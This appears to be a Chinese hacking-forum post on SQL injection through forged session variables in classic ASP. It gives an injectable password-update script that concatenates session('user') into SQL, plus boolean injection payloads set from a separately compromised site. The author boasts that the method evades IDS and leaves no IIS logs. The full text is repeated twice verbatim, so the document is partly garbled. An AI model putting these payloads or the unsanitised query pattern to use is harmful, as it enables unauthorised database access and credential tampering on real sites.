codz:
<%
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
rs.close
sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'"
'response.write sql
rs.open sql,conn
if err then
response.write "修改失败"
else
response.write "修改成功"
end if
%>
使用:
<%
session("user")="Huanhuan'and 1=2 and '1'='1"
%>
<%
session("user")="Huanhuan'and 1=1 and '1'='1"
%>
进行注入。。。。。
这种方法的注入虽然比较麻烦,也有一定的局限性(必须拿下一个PZ站),但是他胜在是永远是一个变量,只是临时存在于服务器,IDS什么的都不能检测,倒,IIS也更不会有什么记录。我测试的是access数据库的,MSSQL的那就请大家自行测试了。还要说一下,PHP中貌似还有一个函数能构造注入,虽然很少能进库,但是也是一种新的攻击方法,因为我的mysql5.0有点问题,所以测试不了,有兴趣的朋友可以自行测试。PHP的session注入我也没测试,也不知道诸如“'”“/”之类的会不会被替换掉。好了,文章到这里,随便说下我的测试环境:WinXP+IIS5.1+Access。
注意:很多程序都把session定值了,而且不进库,例如if session("aaa")<>"ok" then这样的话是伪造不了的,但是如果session的值为变量的话,那就可以伪造了!
<%
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
rs.close
sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'"
'response.write sql
rs.open sql,conn
if err then
response.write "修改失败"
else
response.write "修改成功"
end if
%>
使用:
<%
session("user")="Huanhuan'and 1=2 and '1'='1"
%>
<%
session("user")="Huanhuan'and 1=1 and '1'='1"
%>
进行注入。。。。。
这种方法的注入虽然比较麻烦,也有一定的局限性(必须拿下一个PZ站),但是他胜在是永远是一个变量,只是临时存在于服务器,IDS什么的都不能检测,倒,IIS也更不会有什么记录。我测试的是access数据库的,MSSQL的那就请大家自行测试了。还要说一下,PHP中貌似还有一个函数能构造注入,虽然很少能进库,但是也是一种新的攻击方法,因为我的mysql5.0有点问题,所以测试不了,有兴趣的朋友可以自行测试。PHP的session注入我也没测试,也不知道诸如“'”“/”之类的会不会被替换掉。好了,文章到这里,随便说下我的测试环境:WinXP+IIS5.1+Access。
注意:很多程序都把session定值了,而且不进库,例如if session("aaa")<>"ok" then这样的话是伪造不了的,但是如果session的值为变量的话,那就可以伪造了!